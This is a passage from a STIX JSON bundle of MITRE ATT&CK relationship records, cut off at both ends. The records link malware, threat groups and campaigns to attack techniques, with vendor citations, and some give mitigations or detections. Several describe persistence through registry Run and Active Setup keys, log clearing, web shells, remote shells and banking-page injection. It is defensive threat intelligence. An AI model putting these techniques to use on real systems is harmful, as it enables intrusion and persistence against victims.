`HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{6afa8072-b2b1-31a8-b5c1-{Unique Identifier}`, and `HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{3BF41072-B2B1-31A8-B5C1-{Unique Identifier}`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3241ecc8-878c-4fb5-bd0d-6fdfb3b34859","created":"2022-03-30T14:26:51.873Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections that are sent or received by abnormal or untrusted hosts. ","modified":"2022-04-12T13:17:14.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32447230-f703-4baf-bd01-1477f7142f00","created":"2024-04-17T16:14:26.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T23:27:06.994Z","description":"[RAPIDPULSE](https://attack.mitre.org/software/S1113) retrieves files from the victim system via encrypted commands sent to the web shell.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"malware--880f7b3e-ad27-4158-8b03-d44c9357950b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3246b73c-ac8e-44ab-adf8-189c0086ae12","created":"2023-01-26T21:52:13.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:16:29.581Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can delete Windows Event logs by invoking the `OpenEventLogW` and `ClearEventLogW` functions.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32478440-a1d2-458d-a749-e2d200415106","created":"2020-11-25T22:46:47.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-20T18:40:35.934Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used stolen credentials to access administrative accounts within the domain.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--324a3d54-b9e5-4982-825d-87d281c07544","created":"2024-05-25T16:22:18.891Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:22:18.891Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) has, in addition to email-based phishing attachments, used malicious websites masquerading as legitimate entities to host links to malicious files for user execution.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--324a5331-cce7-4154-a803-ad68d5de1f94","type":"relationship","created":"2017-05-31T21:33:27.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.416Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--324a715b-5d89-41a1-957e-3214badee119","created":"2022-01-07T15:57:14.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.676Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used large groups of compromised machines for use as proxy nodes.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--324e2e47-513c-4803-91d7-96d45cdd9480","type":"relationship","created":"2020-10-20T03:31:22.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:38:32.220Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:26:38.139Z","description":"The [ZLib](https://attack.mitre.org/software/S0086) backdoor compresses communications using the standard Zlib compression library.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3258c355-677c-452d-b1fc-27767232437b","type":"relationship","created":"2019-03-26T16:19:52.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."}],"modified":"2020-03-28T21:37:05.042Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) creates a task to reboot the system one hour after infection.(Citation: Talos Nyetya June 2017)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:14.857Z","description":"(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32621114-725a-4766-b057-2d091adba75b","created":"2024-03-12T18:45:38.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-12T19:56:45.425Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors deleted `/tmp/test1.txt` on compromised Ivanti Connect Secure VPNs which was used to hold stolen configuration and cache files.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3264e1db-0f54-4049-a45c-3a03a24709aa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}],"modified":"2020-03-19T21:51:30.341Z","description":"[XTunnel](https://attack.mitre.org/software/S0117) has been used to execute remote commands.(Citation: Crowdstrike DNC June 2016)","relationship_type":"uses","source_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-19T19:23:45.392Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) is capable of creating a remote Bash shell and executing commands.(Citation: Fidelis Turbo)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--326d0ed6-35a6-452e-a8a2-ab2a7e034faa","type":"relationship","created":"2021-01-27T20:35:33.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."}],"modified":"2021-04-21T12:32:47.110Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used JavaScript to drop and execute malware loaders.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder COVID-19 June 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--327569f6-724f-4c46-bbdc-644c6416148b","type":"relationship","created":"2021-03-01T14:07:36.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.490Z","description":"[LookBack](https://attack.mitre.org/software/S0582) executes the cmd.exe command.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3278a7a8-bf61-45bc-9553-872f222f699d","created":"2021-01-22T20:09:08.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Defend UNC2452 White Paper","description":"Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.","url":"https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-03T15:44:09.180Z","description":"For containing the impact of a previously forged SAML token, rotate the token-signing AD FS certificate in rapid succession twice, which will invalidate any tokens generated using the previous certificate.(Citation: Mandiant Defend UNC2452 White Paper)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--327a2877-8820-4def-8cd8-787f06cfd987","type":"relationship","created":"2020-06-26T04:01:09.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T14:48:33.887Z","description":"Limit access to the root account and prevent users from modifying PAM components through proper privilege separation (ex SELinux, grsecurity, AppArmor, etc.) and limiting Privilege Escalation opportunities.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--327a64df-b405-453b-83d2-528d17e8df51","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.729Z","description":"One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys:
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--327d7bd3-ab28-4016-8d5e-b4364a413566","created":"2021-09-22T21:57:30.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:21:34.908Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has created user accounts.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3281ad27-8a05-4389-9438-f0ffce776346","created":"2021-09-30T14:42:20.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T18:08:07.059Z","description":"The [QakBot](https://attack.mitre.org/software/S0650) web inject module can inject Java Script into web banking pages visited by the victim.(Citation: Kaspersky QakBot September 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3283d0a8-5cd2-4548-a3bd-657d51684cd9","created":"2022-08-09T16:53:58.575Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been executed using `regsvr32.exe`.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-09T16:53:58.575Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--328636ab-7265-4212-96d4-4ebf2e6a65db","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.942Z","description":"[Pupy](https://attack.mitre.org/software/S0192) has a module for loading and executing PowerShell scripts.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32864e94-8581-4f77-bf7d-53aaf3710f60","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Seaduke 2015","description":"Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.","url":"http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}],"modified":"2020-03-17T02:32:26.715Z","description":"Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.(Citation: Symantec Seaduke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--328825fa-a589-4c16-abef-7e3663f1f6ec","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"},{"source_name":"Securelist BlackOasis Oct 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.","url":"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.689Z","description":"A [FinFisher](https://attack.mitre.org/software/S0182) variant uses DLL search order hijacking.(Citation: FinFisher Citation)(Citation: Securelist BlackOasis Oct 